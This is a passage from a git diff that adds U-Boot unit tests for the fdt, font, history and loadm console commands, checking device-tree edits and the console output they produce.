+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt mknode testnodealias newersubnode"));
+ ut_assertok(run_commandf("fdt list testnodealias/newersubnode"));
+ ut_assert_nextline("newersubnode {");
+ ut_assert_nextline("};");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test creation of new node in /test-node@1234 over existing node */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_commandf("fdt mknode testnodealias newsubnode"));
+ ut_assert_nextline("libfdt fdt_add_subnode(): FDT_ERR_EXISTS");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test creation of new node in /test-node@1234 by alias over existing node */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_commandf("fdt mknode testnodealias newersubnode"));
+ ut_assert_nextline("libfdt fdt_add_subnode(): FDT_ERR_EXISTS");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test creation of new node in non-existent node */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_commandf("fdt mknode /no-node newnosubnode"));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test creation of new node in non-existent alias */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_commandf("fdt mknode noalias newfailsubnode"));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_BADPATH");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test creation of new node in bad alias */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_commandf("fdt mknode badalias newbadsubnode"));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+FDT_TEST(fdt_test_mknode, UT_TESTF_CONSOLE_REC);
+
+static int fdt_test_rm(struct unit_test_state *uts)
+{
+ char fdt[4096];
+ ulong addr;
+
+ ut_assertok(make_fuller_fdt(uts, fdt, sizeof(fdt)));
+ addr = map_to_sysmem(fdt);
+ set_working_fdt_addr(addr);
+
+ /* Test removal of property in root node / */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt print / compatible"));
+ ut_assert_nextline("compatible = \"u-boot,fdt-test\"");
+ ut_assertok(run_commandf("fdt rm / compatible"));
+ ut_asserteq(1, run_commandf("fdt print / compatible"));
+ ut_assert_nextline("libfdt fdt_getprop(): FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test removal of property clock-names in subnode /test-node@1234 */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt print /test-node@1234 clock-names"));
+ ut_assert_nextline("clock-names = \"fixed\", \"i2c\", \"spi\", \"uart2\", \"uart1\"");
+ ut_assertok(run_commandf("fdt rm /test-node@1234 clock-names"));
+ ut_asserteq(1, run_commandf("fdt print /test-node@1234 clock-names"));
+ ut_assert_nextline("libfdt fdt_getprop(): FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test removal of property u-boot,empty-property in subnode /test-node@1234 by alias */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt print testnodealias u-boot,empty-property"));
+ ut_assert_nextline("testnodealias u-boot,empty-property");
+ ut_assertok(run_commandf("fdt rm testnodealias u-boot,empty-property"));
+ ut_asserteq(1, run_commandf("fdt print testnodealias u-boot,empty-property"));
+ ut_assert_nextline("libfdt fdt_getprop(): FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test removal of non-existent property noprop in subnode /test-node@1234 */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_commandf("fdt rm /test-node@1234 noprop"));
+ ut_assert_nextline("libfdt fdt_delprop(): FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test removal of non-existent node /no-node@5678 */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_commandf("fdt rm /no-node@5678"));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test removal of subnode /test-node@1234/subnode by alias */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt rm subnodealias"));
+ ut_asserteq(1, run_commandf("fdt print /test-node@1234/subnode"));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test removal of node by non-existent alias */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_commandf("fdt rm noalias"));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_BADPATH");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test removal of node by bad alias */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_commandf("fdt rm noalias"));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_BADPATH");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test removal of node /test-node@1234 */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt rm /test-node@1234"));
+ ut_asserteq(1, run_commandf("fdt print /test-node@1234"));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test removal of node / */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt rm /"));
+ ut_asserteq(1, run_commandf("fdt print /"));
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+FDT_TEST(fdt_test_rm, UT_TESTF_CONSOLE_REC);
+
+static int fdt_test_bootcpu(struct unit_test_state *uts)
+{
+ char fdt[256];
+ ulong addr;
+ int i;
+
+ ut_assertok(make_test_fdt(uts, fdt, sizeof(fdt)));
+ addr = map_to_sysmem(fdt);
+ set_working_fdt_addr(addr);
+
+ /* Test getting default bootcpu entry */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt header get bootcpu boot_cpuid_phys"));
+ ut_asserteq(0, env_get_ulong("bootcpu", 10, 0x1234));
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test setting and getting new bootcpu entry, twice, to test overwrite */
+ for (i = 42; i <= 43; i++) {
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt bootcpu %d", i));
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test getting new bootcpu entry */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt header get bootcpu boot_cpuid_phys"));
+ ut_asserteq(i, env_get_ulong("bootcpu", 10, 0x1234));
+ ut_assertok(ut_check_console_end(uts));
+ }
+
+ return 0;
+}
+FDT_TEST(fdt_test_bootcpu, UT_TESTF_CONSOLE_REC);
+
+static int fdt_test_header_get(struct unit_test_state *uts,
+ const char *field, const unsigned long val)
+{
+ /* Test getting valid header entry */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt header get fvar %s", field));
+ ut_asserteq(val, env_get_hex("fvar", 0x1234));
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test getting malformed header entry */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_commandf("fdt header get fvar typo%stypo", field));
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+
+static int fdt_test_header(struct unit_test_state *uts)
+{
+ char fdt[256];
+ ulong addr;
+
+ ut_assertok(make_test_fdt(uts, fdt, sizeof(fdt)));
+ addr = map_to_sysmem(fdt);
+ set_working_fdt_addr(addr);
+
+ /* Test header print */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt header"));
+ ut_assert_nextline("magic:\t\t\t0x%x", fdt_magic(fdt));
+ ut_assert_nextline("totalsize:\t\t0x%x (%d)", fdt_totalsize(fdt), fdt_totalsize(fdt));
+ ut_assert_nextline("off_dt_struct:\t\t0x%x", fdt_off_dt_struct(fdt));
+ ut_assert_nextline("off_dt_strings:\t\t0x%x", fdt_off_dt_strings(fdt));
+ ut_assert_nextline("off_mem_rsvmap:\t\t0x%x", fdt_off_mem_rsvmap(fdt));
+ ut_assert_nextline("version:\t\t%d", fdt_version(fdt));
+ ut_assert_nextline("last_comp_version:\t%d", fdt_last_comp_version(fdt));
+ ut_assert_nextline("boot_cpuid_phys:\t0x%x", fdt_boot_cpuid_phys(fdt));
+ ut_assert_nextline("size_dt_strings:\t0x%x", fdt_size_dt_strings(fdt));
+ ut_assert_nextline("size_dt_struct:\t\t0x%x", fdt_size_dt_struct(fdt));
+ ut_assert_nextline("number mem_rsv:\t\t0x%x", fdt_num_mem_rsv(fdt));
+ ut_assert_nextline_empty();
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test header get */
+ fdt_test_header_get(uts, "magic", fdt_magic(fdt));
+ fdt_test_header_get(uts, "totalsize", fdt_totalsize(fdt));
+ fdt_test_header_get(uts, "off_dt_struct", fdt_off_dt_struct(fdt));
+ fdt_test_header_get(uts, "off_dt_strings", fdt_off_dt_strings(fdt));
+ fdt_test_header_get(uts, "off_mem_rsvmap", fdt_off_mem_rsvmap(fdt));
+ fdt_test_header_get(uts, "version", fdt_version(fdt));
+ fdt_test_header_get(uts, "last_comp_version", fdt_last_comp_version(fdt));
+ fdt_test_header_get(uts, "boot_cpuid_phys", fdt_boot_cpuid_phys(fdt));
+ fdt_test_header_get(uts, "size_dt_strings", fdt_size_dt_strings(fdt));
+ fdt_test_header_get(uts, "size_dt_struct", fdt_size_dt_struct(fdt));
+
+ return 0;
+}
+FDT_TEST(fdt_test_header, UT_TESTF_CONSOLE_REC);
+
+static int fdt_test_memory_cells(struct unit_test_state *uts,
+ const unsigned int cells)
+{
+ unsigned char *pada, *pads;
+ unsigned char *seta, *sets;
+ char fdt[8192];
+ const int size = sizeof(fdt);
+ fdt32_t *regs;
+ ulong addr;
+ char *spc;
+ int i;
+
+ /* Create DT with node /memory { regs = <0x100 0x200>; } and #*cells */
+ ut_assertnonnull(regs = calloc(2 * cells, sizeof(*regs)));
+ ut_assertnonnull(pada = calloc(12, cells));
+ ut_assertnonnull(pads = calloc(12, cells));
+ ut_assertnonnull(seta = calloc(12, cells));
+ ut_assertnonnull(sets = calloc(12, cells));
+ for (i = cells; i >= 1; i--) {
+ regs[cells - 1] = cpu_to_fdt32(i * 0x10000);
+ regs[(cells * 2) - 1] = cpu_to_fdt32(~i);
+ snprintf(seta + (8 * (cells - i)), 9, "%08x", i * 0x10000);
+ snprintf(sets + (8 * (cells - i)), 9, "%08x", ~i);
+ spc = (i != 1) ? " " : "";
+ snprintf(pada + (11 * (cells - i)), 12, "0x%08x%s", i * 0x10000, spc);
+ snprintf(pads + (11 * (cells - i)), 12, "0x%08x%s", ~i, spc);
+ }
+
+ ut_assertok(fdt_create(fdt, size));
+ ut_assertok(fdt_finish_reservemap(fdt));
+ ut_assert(fdt_begin_node(fdt, "") >= 0);
+ ut_assertok(fdt_property_u32(fdt, "#address-cells", cells));
+ ut_assertok(fdt_property_u32(fdt, "#size-cells", cells));
+ ut_assert(fdt_begin_node(fdt, "memory") >= 0);
+ ut_assertok(fdt_property_string(fdt, "device_type", "memory"));
+ ut_assertok(fdt_property(fdt, "reg", &regs, cells * 2));
+ ut_assertok(fdt_end_node(fdt));
+ ut_assertok(fdt_end_node(fdt));
+ ut_assertok(fdt_finish(fdt));
+ fdt_shrink_to_minimum(fdt, 4096); /* Resize with 4096 extra bytes */
+ addr = map_to_sysmem(fdt);
+ set_working_fdt_addr(addr);
+
+ /* Test updating the memory node */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt memory 0x%s 0x%s", seta, sets));
+ ut_assertok(run_commandf("fdt print /memory"));
+ ut_assert_nextline("memory {");
+ ut_assert_nextline("\tdevice_type = \"memory\";");
+ ut_assert_nextline("\treg = <%s %s>;", pada, pads);
+ ut_assert_nextline("};");
+ ut_assertok(ut_check_console_end(uts));
+
+ free(sets);
+ free(seta);
+ free(pads);
+ free(pada);
+ free(regs);
+
+ return 0;
+}
+
+static int fdt_test_memory(struct unit_test_state *uts)
+{
+ /*
+ * Test memory fixup for 32 and 64 bit systems, anything bigger is
+ * so far unsupported and fails because of simple_stroull() being
+ * 64bit tops in the 'fdt memory' command implementation.
+ */
+ fdt_test_memory_cells(uts, 1);
+ fdt_test_memory_cells(uts, 2);
+
+ /*
+ * The 'fdt memory' command is limited to /memory node, it does
+ * not support any other valid DT memory node format, which is
+ * either one or multiple /memory@adresss nodes. Therefore, this
+ * DT variant is not tested here.
+ */
+
+ return 0;
+}
+FDT_TEST(fdt_test_memory, UT_TESTF_CONSOLE_REC);
+
+static int fdt_test_rsvmem(struct unit_test_state *uts)
+{
+ char fdt[8192];
+ ulong addr;
+
+ ut_assertok(make_test_fdt(uts, fdt, sizeof(fdt)));
+ fdt_shrink_to_minimum(fdt, 4096); /* Resize with 4096 extra bytes */
+ fdt_add_mem_rsv(fdt, 0x42, 0x1701);
+ fdt_add_mem_rsv(fdt, 0x74656, 0x9);
+ addr = map_to_sysmem(fdt);
+ set_working_fdt_addr(addr);
+
+ /* Test default reserved memory node presence */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt rsvmem print"));
+ ut_assert_nextline("index\t\t start\t\t size");
+ ut_assert_nextline("------------------------------------------------");
+ ut_assert_nextline(" %x\t%016x\t%016x", 0, 0x42, 0x1701);
+ ut_assert_nextline(" %x\t%016x\t%016x", 1, 0x74656, 0x9);
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test add new reserved memory node */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt rsvmem add 0x1234 0x5678"));
+ ut_assertok(run_commandf("fdt rsvmem print"));
+ ut_assert_nextline("index\t\t start\t\t size");
+ ut_assert_nextline("------------------------------------------------");
+ ut_assert_nextline(" %x\t%016x\t%016x", 0, 0x42, 0x1701);
+ ut_assert_nextline(" %x\t%016x\t%016x", 1, 0x74656, 0x9);
+ ut_assert_nextline(" %x\t%016x\t%016x", 2, 0x1234, 0x5678);
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test delete reserved memory node */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt rsvmem delete 0"));
+ ut_assertok(run_commandf("fdt rsvmem print"));
+ ut_assert_nextline("index\t\t start\t\t size");
+ ut_assert_nextline("------------------------------------------------");
+ ut_assert_nextline(" %x\t%016x\t%016x", 0, 0x74656, 0x9);
+ ut_assert_nextline(" %x\t%016x\t%016x", 1, 0x1234, 0x5678);
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test re-add new reserved memory node */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt rsvmem add 0x42 0x1701"));
+ ut_assertok(run_commandf("fdt rsvmem print"));
+ ut_assert_nextline("index\t\t start\t\t size");
+ ut_assert_nextline("------------------------------------------------");
+ ut_assert_nextline(" %x\t%016x\t%016x", 0, 0x74656, 0x9);
+ ut_assert_nextline(" %x\t%016x\t%016x", 1, 0x1234, 0x5678);
+ ut_assert_nextline(" %x\t%016x\t%016x", 2, 0x42, 0x1701);
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test delete nonexistent reserved memory node */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_commandf("fdt rsvmem delete 10"));
+ ut_assert_nextline("libfdt fdt_del_mem_rsv(): FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+FDT_TEST(fdt_test_rsvmem, UT_TESTF_CONSOLE_REC);
+
+static int fdt_test_chosen(struct unit_test_state *uts)
+{
+ const char *env_bootargs = env_get("bootargs");
+ char fdt[8192];
+ ulong addr;
+
+ ut_assertok(make_test_fdt(uts, fdt, sizeof(fdt)));
+ fdt_shrink_to_minimum(fdt, 4096); /* Resize with 4096 extra bytes */
+ addr = map_to_sysmem(fdt);
+ set_working_fdt_addr(addr);
+
+ /* Test default chosen node presence, fail as there is no /chosen node */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_commandf("fdt print /chosen"));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test add new chosen node without initrd */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt chosen"));
+ ut_assertok(run_commandf("fdt print /chosen"));
+ ut_assert_nextline("chosen {");
+ ut_assert_nextlinen("\tu-boot,version = "); /* Ignore the version string */
+ if (env_bootargs)
+ ut_assert_nextline("\tbootargs = \"%s\";", env_bootargs);
+ ut_assert_nextline("};");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test add new chosen node with initrd */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt chosen 0x1234 0x5678"));
+ ut_assertok(run_commandf("fdt print /chosen"));
+ ut_assert_nextline("chosen {");
+ ut_assert_nextline("\tlinux,initrd-end = <0x%08x 0x%08x>;",
+ upper_32_bits(0x1234 + 0x5678 - 1),
+ lower_32_bits(0x1234 + 0x5678 - 1));
+ ut_assert_nextline("\tlinux,initrd-start = <0x%08x 0x%08x>;",
+ upper_32_bits(0x1234), lower_32_bits(0x1234));
+ ut_assert_nextlinen("\tu-boot,version = "); /* Ignore the version string */
+ if (env_bootargs)
+ ut_assert_nextline("\tbootargs = \"%s\";", env_bootargs);
+ ut_assert_nextline("};");
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+FDT_TEST(fdt_test_chosen, UT_TESTF_CONSOLE_REC);
+
+static int fdt_test_apply(struct unit_test_state *uts)
+{
+ char fdt[8192], fdto[8192];
+ ulong addr, addro;
+
+ /* Create base DT with __symbols__ node */
+ ut_assertok(fdt_create(fdt, sizeof(fdt)));
+ ut_assertok(fdt_finish_reservemap(fdt));
+ ut_assert(fdt_begin_node(fdt, "") >= 0);
+ ut_assert(fdt_begin_node(fdt, "__symbols__") >= 0);
+ ut_assertok(fdt_end_node(fdt));
+ ut_assertok(fdt_end_node(fdt));
+ ut_assertok(fdt_finish(fdt));
+ fdt_shrink_to_minimum(fdt, 4096); /* Resize with 4096 extra bytes */
+ addr = map_to_sysmem(fdt);
+ set_working_fdt_addr(addr);
+
+ /* Create DTO which adds single property to root node / */
+ ut_assertok(fdt_create(fdto, sizeof(fdto)));
+ ut_assertok(fdt_finish_reservemap(fdto));
+ ut_assert(fdt_begin_node(fdto, "") >= 0);
+ ut_assert(fdt_begin_node(fdto, "fragment") >= 0);
+ ut_assertok(fdt_property_string(fdto, "target-path", "/"));
+ ut_assert(fdt_begin_node(fdto, "__overlay__") >= 0);
+ ut_assertok(fdt_property_string(fdto, "newstring", "newvalue"));
+ ut_assertok(fdt_end_node(fdto));
+ ut_assertok(fdt_end_node(fdto));
+ ut_assertok(fdt_finish(fdto));
+ addro = map_to_sysmem(fdto);
+
+ /* Test default DT print */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt print /"));
+ ut_assert_nextline("/ {");
+ ut_assert_nextline("\t__symbols__ {");
+ ut_assert_nextline("\t};");
+ ut_assert_nextline("};");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test simple DTO application */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt apply 0x%08lx", addro));
+ ut_assertok(run_commandf("fdt print /"));
+ ut_assert_nextline("/ {");
+ ut_assert_nextline("\tnewstring = \"newvalue\";");
+ ut_assert_nextline("\t__symbols__ {");
+ ut_assert_nextline("\t};");
+ ut_assert_nextline("};");
+ ut_assertok(ut_check_console_end(uts));
+
+ /*
+ * Create complex DTO which:
+ * - modifies newstring property in root node /
+ * - adds new properties to root node /
+ * - adds new subnode with properties to root node /
+ * - adds phandle to the subnode and therefore __symbols__ node
+ */
+ ut_assertok(fdt_create(fdto, sizeof(fdto)));
+ ut_assertok(fdt_finish_reservemap(fdto));
+ ut_assert(fdt_begin_node(fdto, "") >= 0);
+ ut_assertok(fdt_property_cell(fdto, "#address-cells", 1));
+ ut_assertok(fdt_property_cell(fdto, "#size-cells", 0));
+
+ ut_assert(fdt_begin_node(fdto, "fragment@0") >= 0);
+ ut_assertok(fdt_property_string(fdto, "target-path", "/"));
+ ut_assert(fdt_begin_node(fdto, "__overlay__") >= 0);
+ ut_assertok(fdt_property_string(fdto, "newstring", "newervalue"));
+ ut_assertok(fdt_property_u32(fdto, "newu32", 0x12345678));
+ ut_assertok(fdt_property(fdto, "empty-property", NULL, 0));
+ ut_assert(fdt_begin_node(fdto, "subnode") >= 0);
+ ut_assertok(fdt_property_string(fdto, "subnewstring", "newervalue"));
+ ut_assertok(fdt_property_u32(fdto, "subnewu32", 0x12345678));
+ ut_assertok(fdt_property(fdto, "subempty-property", NULL, 0));
+ ut_assertok(fdt_property_u32(fdto, "phandle", 0x01));
+ ut_assertok(fdt_end_node(fdto));
+ ut_assertok(fdt_end_node(fdto));
+ ut_assertok(fdt_end_node(fdto));
+
+ ut_assert(fdt_begin_node(fdto, "__symbols__") >= 0);
+ ut_assertok(fdt_property_string(fdto, "subnodephandle", "/fragment@0/__overlay__/subnode"));
+ ut_assertok(fdt_end_node(fdto));
+ ut_assertok(fdt_finish(fdto));
+ addro = map_to_sysmem(fdto);
+
+ /* Test complex DTO application */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt apply 0x%08lx", addro));
+ ut_assertok(run_commandf("fdt print /"));
+ ut_assert_nextline("/ {");
+ ut_assert_nextline("\tempty-property;");
+ ut_assert_nextline("\tnewu32 = <0x12345678>;");
+ ut_assert_nextline("\tnewstring = \"newervalue\";");
+ ut_assert_nextline("\tsubnode {");
+ ut_assert_nextline("\t\tphandle = <0x00000001>;");
+ ut_assert_nextline("\t\tsubempty-property;");
+ ut_assert_nextline("\t\tsubnewu32 = <0x12345678>;");
+ ut_assert_nextline("\t\tsubnewstring = \"newervalue\";");
+ ut_assert_nextline("\t};");
+ ut_assert_nextline("\t__symbols__ {");
+ ut_assert_nextline("\t\tsubnodephandle = \"/subnode\";");
+ ut_assert_nextline("\t};");
+ ut_assert_nextline("};");
+ ut_assertok(ut_check_console_end(uts));
+
+ /*
+ * Create complex DTO which:
+ * - modifies subnewu32 property in subnode via phandle and uses __fixups__ node
+ */
+ ut_assertok(fdt_create(fdto, sizeof(fdto)));
+ ut_assertok(fdt_finish_reservemap(fdto));
+ ut_assert(fdt_begin_node(fdto, "") >= 0);
+ ut_assertok(fdt_property_cell(fdto, "#address-cells", 1));
+ ut_assertok(fdt_property_cell(fdto, "#size-cells", 0));
+
+ ut_assert(fdt_begin_node(fdto, "fragment@0") >= 0);
+ ut_assertok(fdt_property_u32(fdto, "target", 0xffffffff));
+ ut_assert(fdt_begin_node(fdto, "__overlay__") >= 0);
+ ut_assertok(fdt_property_u32(fdto, "subnewu32", 0xabcdef01));
+ ut_assertok(fdt_end_node(fdto));
+ ut_assertok(fdt_end_node(fdto));
+
+ ut_assert(fdt_begin_node(fdto, "__fixups__") >= 0);
+ ut_assertok(fdt_property_string(fdto, "subnodephandle", "/fragment@0:target:0"));
+ ut_assertok(fdt_end_node(fdto));
+ ut_assertok(fdt_end_node(fdto));
+ ut_assertok(fdt_finish(fdto));
+ addro = map_to_sysmem(fdto);
+
+ /* Test complex DTO application */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt apply 0x%08lx", addro));
+ ut_assertok(run_commandf("fdt print /"));
+ ut_assert_nextline("/ {");
+ ut_assert_nextline("\tempty-property;");
+ ut_assert_nextline("\tnewu32 = <0x12345678>;");
+ ut_assert_nextline("\tnewstring = \"newervalue\";");
+ ut_assert_nextline("\tsubnode {");
+ ut_assert_nextline("\t\tphandle = <0x00000001>;");
+ ut_assert_nextline("\t\tsubempty-property;");
+ ut_assert_nextline("\t\tsubnewu32 = <0xabcdef01>;");
+ ut_assert_nextline("\t\tsubnewstring = \"newervalue\";");
+ ut_assert_nextline("\t};");
+ ut_assert_nextline("\t__symbols__ {");
+ ut_assert_nextline("\t\tsubnodephandle = \"/subnode\";");
+ ut_assert_nextline("\t};");
+ ut_assert_nextline("};");
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+FDT_TEST(fdt_test_apply, UT_TESTF_CONSOLE_REC);
+
+int do_ut_fdt(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(fdt_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(fdt_test);
+
+ return cmd_ut_category("fdt", "fdt_test_", tests, n_ents, argc, argv);
+}
diff --git a/test/cmd/font.c b/test/cmd/font.c
new file mode 100644
index 00000000000..a8905ce617e
--- /dev/null
+++ b/test/cmd/font.c
@@ -0,0 +1,81 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for font command
+ *
+ * Copyright 2022 Google LLC
+ */
+
+#include <console.h>
+#include <dm.h>
+#include <video_console.h>
+#include <test/suites.h>
+#include <test/ut.h>
+
+/* Declare a new fdt test */
+#define FONT_TEST(_name, _flags) UNIT_TEST(_name, _flags, font_test)
+
+/* Test 'fdt addr' resizing an fdt */
+static int font_test_base(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ const char *name;
+ int max_metrics;
+ uint size;
+ int ret;
+
+ ut_assertok(uclass_first_device_err(UCLASS_VIDEO, &dev));
+ ut_assertok(uclass_first_device_err(UCLASS_VIDEO_CONSOLE, &dev));
+
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_command("font list", 0));
+ ut_assert_nextline("nimbus_sans_l_regular");
+ if (IS_ENABLED(CONFIG_CONSOLE_TRUETYPE_CANTORAONE))
+ ut_assert_nextline("cantoraone_regular");
+ ut_assertok(ut_check_console_end(uts));
+
+ ut_assertok(vidconsole_get_font_size(dev, &name, &size));
+ ut_asserteq_str("nimbus_sans_l_regular", name);
+ ut_asserteq(18, size);
+
+ if (!IS_ENABLED(CONFIG_CONSOLE_TRUETYPE_CANTORAONE))
+ return 0;
+
+ max_metrics = 1;
+ if (IS_ENABLED(CONFIG_CONSOLE_TRUETYPE))
+ max_metrics = IF_ENABLED_INT(CONFIG_CONSOLE_TRUETYPE,
+ CONFIG_CONSOLE_TRUETYPE_MAX_METRICS);
+
+ ret = run_command("font select cantoraone_regular 40", 0);
+ if (max_metrics < 2) {
+ ut_asserteq(1, ret);
+ ut_assert_nextline("Failed (error -7)");
+ ut_assertok(ut_check_console_end(uts));
+ return 0;
+ }
+
+ ut_assertok(ret);
+ ut_assertok(ut_check_console_end(uts));
+
+ ut_assertok(vidconsole_get_font_size(dev, &name, &size));
+ ut_asserteq_str("cantoraone_regular", name);
+ ut_asserteq(40, size);
+
+ ut_assertok(run_command("font size 30", 0));
+ ut_assertok(ut_check_console_end(uts));
+
+ ut_assertok(vidconsole_get_font_size(dev, &name, &size));
+ ut_asserteq_str("cantoraone_regular", name);
+ ut_asserteq(30, size);
+
+ return 0;
+}
+FONT_TEST(font_test_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT |
+ UT_TESTF_CONSOLE_REC | UT_TESTF_DM);
+
+int do_ut_font(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(font_Test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(font_test);
+
+ return cmd_ut_category("font", "font_test_", tests, n_ents, argc, argv);
+}
diff --git a/test/cmd/history.c b/test/cmd/history.c
new file mode 100644
index 00000000000..6964bfa9e1e
--- /dev/null
+++ b/test/cmd/history.c
@@ -0,0 +1,48 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for history command
+ *
+ * Copyright 2023 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <cli.h>
+#include <command.h>
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int lib_test_history(struct unit_test_state *uts)
+{
+ static const char cmd1[] = "setenv fred hello";
+ static const char cmd2[] = "print fred";
+
+ /* running commands directly does not add to history */
+ ut_assertok(run_command(cmd1, 0));
+ ut_assert_console_end();
+ ut_assertok(run_command("history", 0));
+ ut_assert_console_end();
+
+ /* enter commands via the console */
+ console_in_puts(cmd1);
+ console_in_puts("\n");
+ ut_asserteq(strlen(cmd1), cli_readline(""));
+ ut_assert_nextline(cmd1);
+
+ console_in_puts(cmd2);
+ console_in_puts("\n");
+ ut_asserteq(strlen(cmd2), cli_readline(""));
+ ut_assert_nextline(cmd2);
+
+ ut_assertok(run_command("print fred", 0));
+ ut_assert_nextline("fred=hello");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("history", 0));
+ ut_assert_nextline(cmd1);
+ ut_assert_nextline(cmd2);
+ ut_assert_console_end();
+
+ return 0;
+}
+LIB_TEST(lib_test_history, UT_TESTF_CONSOLE_REC);
diff --git a/test/cmd/loadm.c b/test/cmd/loadm.c
new file mode 100644
index 00000000000..dff8a97d139
--- /dev/null
+++ b/test/cmd/loadm.c
@@ -0,0 +1,71 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test for loadm command
+ *
+ * Copyright 2022 ARM Limited
+ * Copyright 2022 Linaro
+ *
+ * Authors:
+ * Rui Miguel Silva <rui.silva@linaro.org>
+ */
+
+#include <console.h>
+#include <mapmem.h>
+#include <asm/global_data.h>
+#include <dm/test.h>
+#include <test/suites.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+#define BUF_SIZE 0x100
+
+#define LOADM_TEST(_name, _flags) UNIT_TEST(_name, _flags, loadm_test)
+
